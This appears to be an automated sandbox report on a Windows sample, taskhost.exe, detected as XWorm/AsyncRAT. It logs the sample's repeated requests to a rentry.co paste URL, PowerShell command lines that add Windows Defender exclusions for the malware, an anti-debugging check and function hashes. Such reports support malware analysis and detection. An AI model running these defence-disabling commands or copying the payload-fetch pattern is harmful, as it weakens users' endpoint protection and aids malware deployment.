2024-12-13 10:50:26 UTC	1369	IN	Data Raw: 2e 6d 61 74 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 Data Ascii: .matches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribu
2024-12-13 10:50:26 UTC	1226	IN	Data Raw: 20 6d 6f 64 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 Data Ascii: mode"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:50:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49982	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:50:29 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:50:30 UTC	867	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:50:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TPOZKN2WGTx7QfyU3xgbjzRj6167uvazt4QRFCAY1F27BqP3m06Dmo0XI%2FRPKPyxv9lY6owiE86EzU9RwkWehozZE9M%2BiHCxRaOfzIN2RIXxbjUNq31Qec0KXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1564c03a468c09-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1973&min_rtt=1967&rtt_var=751&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2818&recv_bytes=685&delivery_rate=1444114&cwnd=240&unsent_bytes=0&cid=accc3f17bacb2c88&ts=794&x=0"
2024-12-13 10:50:30 UTC	502	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:50:30 UTC	1369	IN	Data Raw: 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e Data Ascii: eta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://rentry.
2024-12-13 10:50:30 UTC	1369	IN	Data Raw: 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 Data Ascii: es \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribute('da
2024-12-13 10:50:30 UTC	1220	IN	Data Raw: 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 Data Ascii: ></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:50:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49992	104.26.2.16	443	6504	C:\Users\user\Desktop\taskhost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 10:50:32 UTC	71	OUT	GET /ue6sxoup/raw HTTP/1.1 Host: rentry.co Connection: Keep-Alive
2024-12-13 10:50:33 UTC	869	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 10:50:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Origin x-xss-protection: 1; mode=block strict-transport-security: max-age=31536000; includeSubDomains CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Aj3VBETi6hfMikszMAntU5hd6ImUas9hTLVsGIXXBriA9mcRV%2FW4BX7OTvx0UfUnfT2RQ5wmhtA7GFwGpk%2FJdlOpAwut%2F51EI5Qd0PKimnaV2igWxaSldGTbjg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f1564d4ebf04294-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1561&rtt_var=601&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=685&delivery_rate=1795817&cwnd=213&unsent_bytes=0&cid=48c9e8cbea42e50b&ts=573&x=0"
2024-12-13 10:50:33 UTC	500	IN	Data Raw: 31 31 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4d 61 72 6b 64 6f 77 6e 20 70 61 73 74 65 20 73 65 72 76 69 63 65 20 77 69 74 68 20 70 72 65 76 69 65 77 2c 20 63 75 73 74 6f 6d 20 75 72 6c 73 20 61 6e 64 20 65 64 69 74 69 6e 67 2e 20 46 61 73 74 2c 20 73 69 6d 70 6c 65 20 61 6e 64 20 66 72 65 65 2e 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e Data Ascii: 1164<!DOCTYPE html><html><head> <meta charset="utf-8"> <title>Error</title> <meta name="description" content="Markdown paste service with preview, custom urls and editing. Fast, simple and free."> <meta name="keywords" conten
2024-12-13 10:50:33 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 6e 74 72 79 2e 63 6f 20 2d 20 4d 61 72 6b 64 6f 77 6e 20 50 61 73 74 65 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 72 65 6e 74 72 79 5f 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 79 2e 63 6f 2f 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 35 31 32 2e 70 6e 67 22 20 2f 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 72 65 6e 74 72 Data Ascii: <meta name="twitter:title" content="Rentry.co - Markdown Paste" /> <meta name="twitter:site" content="@rentry_co" /> <meta name="twitter:image" content="https://rentry.co/static/icons/512.png" /> <meta property="og:url" content="https://rentr
2024-12-13 10:50:33 UTC	1369	IN	Data Raw: 63 68 65 73 20 7c 7c 20 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 64 61 72 6b 2d 6d 6f 64 65 22 29 20 3d 3d 20 22 74 72 75 65 22 29 29 3b 3c 2f 73 63 72 69 70 74 3e 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 63 6f 6e 73 74 20 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 20 63 6f 6e 73 74 20 68 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 20 3d 3d 3d 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 26 26 20 27 72 65 6e 74 72 79 2e 6f 72 67 27 20 7c 7c 20 27 72 65 6e 74 72 79 2e 63 6f 27 3b 20 73 63 72 69 70 74 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 20 73 63 72 69 70 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 Data Ascii: ches \|\| localStorage.getItem("dark-mode") == "true"));</script>--> <script>const script = document.createElement("script"); const hn = window.location.hostname === 'rentry.org' && 'rentry.org' \|\| 'rentry.co'; script.defer = true; script.setAttribute('
2024-12-13 10:50:33 UTC	1222	IN	Data Raw: 65 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 73 74 61 74 69 63 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 6a 73 3f 76 73 73 6f 6e 3d 32 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 Data Ascii: e"></span></div> </div> </div> </div> <script src="/static/js/jquery.min.js?vsson=28"></script> <script src="/static/js/bootstrap.min.js?vsson=28"></script>
2024-12-13 10:50:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	05:48:23
Start date:	13/12/2024
Path:	C:\Users\user\Desktop\taskhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\taskhost.exe"
Imagebase:	0xb00000
File size:	63'488 bytes
MD5 hash:	3296704171FE01C0FC4FCDD02F2695CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000000.1261092658.0000000000B02000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000000.1261092658.0000000000B02000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	05:48:29
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\taskhost.exe'
Imagebase:	0x7c0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:48:29
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:48:44
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskhost.exe'
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:48:44
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	16%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFAAC911511 Relevance: 5.4, Strings: 4, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

6, xrefs: 00007FFAAC9116E2
6, xrefs: 00007FFAAC91162B
6, xrefs: 00007FFAAC9117C2
6, xrefs: 00007FFAAC911580

Memory Dump Source

Source File: 00000000.00000002.2556684819.00007FFAAC910000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac910000_taskhost.jbxd

Similarity

API ID:
String ID: 6$6$6$6
API String ID: 0-3214027553
Opcode ID: 2d772e064a6424b963e57a74a56cdb2797e70ca51106a58bf8080c6cd7368c41
Instruction ID: 4bd85c484f4a90cec527f21a2d247cf129ec89674d093b03578f30b491b7c42c
Opcode Fuzzy Hash: 2d772e064a6424b963e57a74a56cdb2797e70ca51106a58bf8080c6cd7368c41
Instruction Fuzzy Hash: B1C19165B1DA499FFBC8EB3884566B977D2EF99300F1481B9D04EC3292DF28E8458781

Function 00007FFAAC916C01 Relevance: 1.6, APIs: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32 ref: 00007FFAAC916CB0

Memory Dump Source

Source File: 00000000.00000002.2556684819.00007FFAAC910000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac910000_taskhost.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 358f90e6ac178ded318967924b938a81e8cbd13dd0b29fd43e74ee0ccc85e87c
Instruction ID: d91ebb48132b29d29bffb243d8df494564d84d5a5d4d89d2da07213badda0c2b
Opcode Fuzzy Hash: 358f90e6ac178ded318967924b938a81e8cbd13dd0b29fd43e74ee0ccc85e87c
Instruction Fuzzy Hash: 3131133190875C8FCB58DF68C88ABE97BE0EF65311F0442AFD489D7252DB34A846CB91

Function 00007FFAAC915656 Relevance: .5, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2556684819.00007FFAAC910000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac910000_taskhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de0b36c5210be24e563c39a1365c0f2eaa6aceb55cd021e11adebad9669532c7
Instruction ID: 82ad6ac11c968f55f522d7187f6fb09b37cfdba0f2e63b8f89b110277f3fa30d
Opcode Fuzzy Hash: de0b36c5210be24e563c39a1365c0f2eaa6aceb55cd021e11adebad9669532c7
Instruction Fuzzy Hash: CDF19370909A4D8FFBA8DF28C856BE937D1FF55310F44826AE84EC7291DB34D9458B82

Function 00007FFAAC916402 Relevance: .5, Instructions: 461
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2556684819.00007FFAAC910000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac910000_taskhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fba19bae4ad54243c6aaa22c3163eba85023ff49eadb1f970ebeec3b2c457b81
Instruction ID: e1d26aed48e825325187ae1ae5ae19f823fcaafabc5519bc648aac46a4a143fa
Opcode Fuzzy Hash: fba19bae4ad54243c6aaa22c3163eba85023ff49eadb1f970ebeec3b2c457b81
Instruction Fuzzy Hash: 62E1C074908A4E8FEBA8DF28C8567E977E1FB55310F04826ED84DC7291DE78E8448BC1

Analysis Process: powershell.exePID: 7456, Parent PID: 6504COMMON

Executed Functions

Function 00007FFAAC9A6605 Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1463323396.00007FFAAC9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac9a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cf6bb590038f8dacf61e3701a2fc6f5a64589620f124addbfe7b18c7d70f681
Instruction ID: b8eb9f5b53db8fda87129315554f529e2d087fc95fae4c98f923639be7f5b54b
Opcode Fuzzy Hash: 8cf6bb590038f8dacf61e3701a2fc6f5a64589620f124addbfe7b18c7d70f681
Instruction Fuzzy Hash: 22C169BA91EB898FF759A76C88159B57BE0EF46710B0441FED04DC71D3DA18EC0A8391

Function 00007FFAAC8D9EFB Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1462891161.00007FFAAC8D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC8D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac8d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77510550070e8a25e9f4f1a89ffa0831391340f00de4c02bf1972422568fcd13
Instruction ID: d055b3e5ffabf5e496a4864936f84801f81eb93b229711722fcbea52c420e695
Opcode Fuzzy Hash: 77510550070e8a25e9f4f1a89ffa0831391340f00de4c02bf1972422568fcd13
Instruction Fuzzy Hash: C9710D97A0D683CBF306976CE8B21E57BA0EF5622970882F3C0CDCA153ED15689E47D5

Function 00007FFAAC8D9758 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1462891161.00007FFAAC8D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC8D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac8d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c7ea37b7d65a459070a383fb4d76f59823d7eff8405a29b4586469e9fc03215
Instruction ID: 16c73907d34f2fc7c1878269d5c7a7834aaa3de4a50a516fa76605f3d38dc75b
Opcode Fuzzy Hash: 3c7ea37b7d65a459070a383fb4d76f59823d7eff8405a29b4586469e9fc03215
Instruction Fuzzy Hash: C831E67190CB488FEB589F4CA8066B97BE0FB99710F00816FE04D93252DB30A815CBC2

Function 00007FFAAC7BE383 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1462444469.00007FFAAC7BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac7bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c994c16b5037f738c838e7ca3cbd611f50c5413097a9081ead8c79b25098ef65
Instruction ID: ba9061ae355f1ef6882f94a6f194a22eb134f6e31a344affcf51bd5c1e408f2a
Opcode Fuzzy Hash: c994c16b5037f738c838e7ca3cbd611f50c5413097a9081ead8c79b25098ef65
Instruction Fuzzy Hash: 1441067140EBC48FE7568B2898459523FF0EF57320B1545EFE08DCB2A3D629E84AC792

Function 00007FFAAC8DA47C Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1462891161.00007FFAAC8D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC8D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac8d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2398d5e2de2141ad1fd97f42c8c3f1da0abe6e05098d36c4beaf85499161394
Instruction ID: 95b2c8954dc5d5ed264087adaf536e6ae81ada3e3eda237face7261f49667ac7
Opcode Fuzzy Hash: f2398d5e2de2141ad1fd97f42c8c3f1da0abe6e05098d36c4beaf85499161394
Instruction Fuzzy Hash: 2321F83190C74C8FDB59DBAC984A7E97FF0EB96321F04426FD049C3152DA74A45ACB91

Function 00007FFAAC8D33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1462891161.00007FFAAC8D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC8D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac8d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 01bc03614eeede8a91d0e0852c811a4b0683f07bc5b120b75d3eb51e5884b7b4
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: A401677121CB0D8FD748EF0CE451AA6B7E0FB99364F10056EE58AC3661DA36E882CB45

Function 00007FFAAC9A414D Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1463323396.00007FFAAC9A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC9A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac9a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 447a891157702ee1ea3a64ad7e479ff1a1be2e03cc0954be3bc4f3c406d53c56
Instruction ID: 3f2f797f0e68b295671b9b9929ee7b4de0efdc218fd356bb070705b57b0fceb2
